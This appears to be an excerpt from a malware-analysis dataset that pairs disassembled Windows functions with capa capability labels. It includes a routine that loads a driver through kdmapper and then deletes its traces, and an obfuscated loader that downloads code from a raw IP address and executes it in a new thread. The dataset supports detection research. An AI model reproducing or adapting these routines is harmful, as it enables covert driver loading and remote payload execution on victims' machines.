joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140020b88
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x140087f40]
xor rax, rsp
mov qword [rbp - 8], rax
call fcn.140009ed8
mov rcx, qword [0x140088838]
lea rdx, [rbp - 0x18]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetClientRect]
mov ecx, dword [rbp - 0x10]
sub ecx, dword [rbp - 0x18]
movd xmm1, ecx
mov ecx, dword [rbp - 0xc]
sub ecx, dword [rbp - 0x14]
cvtdq2ps xmm1, xmm1
movd xmm0, ecx
lea rcx, [rbp - 0x20]
cvtdq2ps xmm0, xmm0
movss dword [rdi + 8], xmm1
movss dword [rdi + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp - 0x20]
xorps xmm1, xmm1
sub rax, qword [0x140088840]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x140088848]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x10], xmm1
mov rax, qword [rbp - 0x20]
mov qword [0x140088840], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov ecx, 0x10
mov byte [rdi + 0x128], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, bl
mov byte [rdi + 0x129], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, bl
mov byte [rdi + 0x12b], 0
mov byte [rdi + 0x12a], al
call fcn.140009ed8
cmp byte [rax + 0x3a7], 0
lea rbx, [rax + 0x110]
je 0x140020cb1
cvttss2si ecx, dword [rbx]
lea rdx, [rbp - 0x30]
cvttss2si eax, dword [rax + 0x114]
mov dword [rbp - 0x30], ecx
mov rcx, qword [0x140088838]
mov dword [rbp - 0x2c], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp - 0x2c]
mov ecx, dword [rbp - 0x30]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, 0xff7fffff
mov dword [rbx], eax
mov dword [rbx + 4], eax
call qword [sym.imp.USER32.dll_GetActiveWindow]
cmp rax, qword [0x140088838]
jne 0x140020d06
lea rcx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140020d06
mov rcx, qword [0x140088838]
lea rdx, [rbp - 0x28]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x140020d06
movd xmm0, dword [rbp - 0x28]
movd xmm1, dword [rbp - 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x140020d14
or eax, 0xffffffff
jmp 0x140020d19
call fcn.140009f14
cmp dword [0x140061138], eax
je 0x140020d2c
mov dword [0x140061138], eax
call fcn.140020d54
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14004e680
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x140042110
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov rax, qword [0x140087f40]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 0
cmp dword [rsp + 0x90], 0
jl 0x140042169
cmp dword [rsp + 0x90], 0x7c
jge 0x140042169
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x90]
lea rcx, [0x140086bc0]
call fcn.1400422d4
lea rcx, [rsp + 0x50]
call fcn.140038920
nop
cmp qword [rsp + 0x30], 0
jne 0x14004218f
lea rdx, [0x1400591c8]
lea rcx, [rsp + 0x50]
call fcn.140039eb8
jmp 0x14004219e
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140039eb8
cmp dword [rsp + 0xa0], 1
jne 0x1400421b9
lea rdx, [0x1400591d8]
lea rcx, [rsp + 0x50]
call fcn.140039eb8
movss xmm2, dword [0x140056d80]
movss xmm1, dword [0x140059a7c]
lea rcx, [rsp + 0x48]
call fcn.1400390f0
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x50]
call fcn.140044f8c
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call fcn.1400260bc
movzx eax, al
test eax, eax
je 0x14004222e
cmp dword [rsp + 0xa0], 0
jne 0x14004222e
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
lea rcx, [rsp + 0x50]
call fcn.140039ad4
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14004e680
add rsp, 0x88
ret
Function at 0x140043cd4
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x140087f40]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x140043d11
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140043d18
mov al, 1
jmp 0x140043e6f
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.140046234
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.140046234
mov dword [rsp + 0x40], eax
mov edx, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x40]
call fcn.140046270
movzx eax, al
test eax, eax
je 0x140043d6d
xor al, al
jmp 0x140043e6f
mov qword [rsp + 0x68], 0x20
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x140043ddd
cmp dword [rsp + 0x30], 1
je 0x140043de9
cmp dword [rsp + 0x30], 3
je 0x140043e5d
jmp 0x140043e6d
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140043e35
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x48], rax
je 0x140043e35
xor al, al
jmp 0x140043e6f
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140043e4f
mov dword [rsp + 0x34], 1
jmp 0x140043e57
mov dword [rsp + 0x34], 0
mov al, byte [rsp + 0x34]
jmp 0x140043e6f
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140043e6f
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14004e680
add rsp, 0xa8
ret
Function at 0x140046464
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x178
mov rax, qword [0x140087f40]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0x130
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1400464f3
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x1400464e0
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
mov dword [0x140088870], eax
mov eax, dword [rsp + 0x38]
jmp 0x140046500
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1400464ae
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14004e680
add rsp, 0x178
ret

Function at 0x14004698c
Capabilities:
Delete file
Execute command

Disassembly:
sub rsp, 0x88
mov rax, qword [0x140087f40]
xor rax, rsp
mov qword [rsp + 0x70], rax
lea rax, [0x140057180]
mov qword [rsp + 0x20], rax
lea rax, [0x140057198]
mov qword [rsp + 0x28], rax
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.1400388c8
nop
mov r8d, 0x2400
lea rdx, [0x140061320]
lea rcx, [rsp + 0x30]
call fcn.14003aa88
nop
lea rcx, [rsp + 0x30]
call fcn.140039ad4
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x50]
call fcn.1400388c8
nop
mov r8d, 0x23000
lea rdx, [0x140063720]
lea rcx, [rsp + 0x50]
call fcn.14003aa88
nop
lea rcx, [rsp + 0x50]
call fcn.140039ad4
lea rcx, str.C:Userskdmapper.exe_C:Usersdriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersdriver.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Userskdmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14004e680
add rsp, 0x88
ret
Function at 0x1400499b4
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
movsx eax, byte [rsp + 0x10]
mov ecx, dword [rsp + 8]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
ret

Function at 0x14004c70c
Capabilities:
Create thread
Hide graphical window

Disassembly:
push rdi
sub rsp, 0xc0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400432a4]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x48
rep stosb byte [rdi], al
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetStockObject]
mov qword [rsp + 0xa0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x88], 0
lea rax, [0x14004375c]
mov qword [rsp + 0x78], rax
lea rax, [0x1400574f8]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0x70], 3
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassA]
movzx eax, ax
test eax, eax
jne 0x14004c7c4
lea rdx, str._n_n_discord.gg_orangeware
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140031970
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x60], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x64], eax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000000
xor r8d, r8d
lea rdx, [0x140057530]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov qword [0x140089090], rax
mov edx, 5
mov rcx, qword [0x140089090]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x1400574e8]
mov rcx, qword [0x140089090]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov r8d, 0x800a0
mov edx, 0xffffffec
mov rcx, qword [0x140089090]
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140089090]
call qword [sym.imp.USER32.dll_UpdateWindow]
add rsp, 0xc0
pop rdi
ret
Function at 0x14004d5f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x80], 0
jg 0x14004d615
xor eax, eax
jmp 0x14004d7db
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x14004d63e
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
jmp 0x14004d7db
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const___ptr64]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x14004d6dd
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.140035a14
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const___ptr64]
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.1400458fc
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int____ptr64]
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x14004d7cb
mov rcx, qword [rsp + 0x70]
call fcn.1400448c4
mov qword [rsp + 0x58], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x14004d77e
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x14004d77c
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x14004d7db
jmp 0x14004d703
cmp qword [rsp + 0x20], 0
jbe 0x14004d7cb
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x68
ret
Function at 0x14004d7e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x68], 0
je 0x14004d819
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14004d907
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x50], 0
jle 0x14004d8af
cmp qword [rsp + 0x20], 0
jle 0x14004d8af
mov rax, qword [rsp + 0x20]
cmp qword [rsp + 0x50], rax
jge 0x14004d859
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x48]
mov rcx, rax
call fcn.1400458fc
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rsp + 0x50], 0
jle 0x14004d8f7
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x80], 0
je 0x14004d8f7
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
sub rcx, rax
mov rax, rcx
add rsp, 0x38
ret
Function at 0x14004ed88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004edd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004edd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004edd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004edd2
cmp dword [rcx + 0x84], 0xe
jbe 0x14004edd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14004edd4
xor al, al
add rsp, 0x28
ret
Function at 0x140001040
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r10, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r9d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r9, r9
je 0x1400010b6
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x140017698]
mov eax, dword [r11 + rax*4]
add rsi, r10
mov ecx, 0xf
add rax, r10
repe cmpsb byte [rsi], byte [rdi]
je 0x1400010ac
inc r8
cmp r8, r9
jb 0x140001080
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
pop rbp
ret

Function at 0x140001310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push r13
lea rbp, [rsp - 0x4f]
sub rsp, 0x88
mov rax, qword [0x14001a050]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor r13d, r13d
lea r8, [rbp - 9]
lea rdx, [rbp - 1]
lea rcx, [rbp + 0xf]
mov dword [rbp + 0xf], 0x740068
mov dword [rbp + 0x13], 0x700074
mov dword [rbp + 0x17], 0x2f003a
mov dword [rbp + 0x1b], 0x38002f
mov dword [rbp + 0x1f], 0x31002e
mov dword [rbp + 0x23], 0x380033
mov dword [rbp + 0x27], 0x31002e
mov dword [rbp + 0x2b], 0x2e0034
mov dword [rbp + 0x2f], 0x310032
mov dword [rbp + 0x33], 0x2f0031
mov dword [rbp + 0x37], 0x610074
mov dword [rbp + 0x3b], 0x74
mov qword [rbp - 1], r13
mov dword [rbp - 9], r13d
call fcn.1400010c0
test al, al
jne 0x1400013c5
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r13 + 1]
jmp 0x1400014a1
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xb0], rdi
mov qword [rsp + 0x80], r12
call fcn.1400014c0
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x14000140e
nop word [rax + rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x140001400
mov rdi, qword [rax + 0x10]
mov rcx, rdi
call fcn.140001040
lea rdx, str.VirtualProtect
mov rcx, rdi
mov rbx, rax
call rbx
lea rdx, str.CreateThread
mov rcx, rdi
mov rsi, rax
call rbx
lea rdx, str.WaitForSingleObject
mov rcx, rdi
mov r12, rax
call rbx
mov rbx, qword [rbp - 1]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 7]
mov rcx, rbx
mov rdi, rax
call rsi
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
mov rcx, rax
or edx, 0xffffffff
call rdi
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xb0]
mov rsi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xa0]
xor eax, eax
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140001500
add rsp, 0x88
pop r13
pop rbp
ret

Function at 0x1400014c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret
Function at 0x140001943
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14001a050]
jne 0x14000151a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001516
repz ret
ror rcx, 0x10
jmp 0x14000189c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14001b0c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14001b1b8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001921
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14001b0c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001943
mov rax, qword [rsp + 0x88]
mov qword [0x14001b1b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14001b158], rax
mov rax, qword [0x14001b1b8]
mov qword [0x14001b030], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14001b140], rax
mov dword [0x14001b020], 0xc0000409
mov dword [0x14001b024], 1
mov rax, qword [0x14001a050]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14001a058]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14001b0b8], eax
mov ecx, 1
call fcn.140003c1c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400142b8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14001b0b8], 0
jne 0x1400019ca
mov ecx, 1
call fcn.140003c1c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140002758
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400025c8
Function at 0x1400059e8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14001a050]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140003730
xor ebx, ebx
cmp qword [0x14001c0c8], rbx
mov rdi, rax
jne 0x140005afb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140005bd2
lea rdx, [0x140015040]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140005bd2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14001c0c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14001c0d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14001c0d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14001c0e8], rax
test rax, rax
je 0x140005af2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14001c0e0], rax
jmp 0x140005b02
mov rax, qword [0x14001c0e0]
jmp 0x140005b09
mov rax, qword [0x14001c0e0]
mov r11, qword [0x14001c0e8]
cmp rax, rdi
je 0x140005b70
cmp r11, rdi
je 0x140005b70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14001c0e8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140005b70
test rax, rax
je 0x140005b70
call rsi
test rax, rax
je 0x140005b6a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140005b6a
test byte [rsp + 0x40], 1
jne 0x140005b70
bts ebp, 0x15
jmp 0x140005bb0
mov rcx, qword [0x14001c0d0]
cmp rcx, rdi
je 0x140005bb0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005bb0
call rax
mov rbx, rax
test rax, rax
je 0x140005bb0
mov rcx, qword [0x14001c0d8]
cmp rcx, rdi
je 0x140005bb0
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005bb0
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14001c0c8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140005bd2
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140005bd4
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001500
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret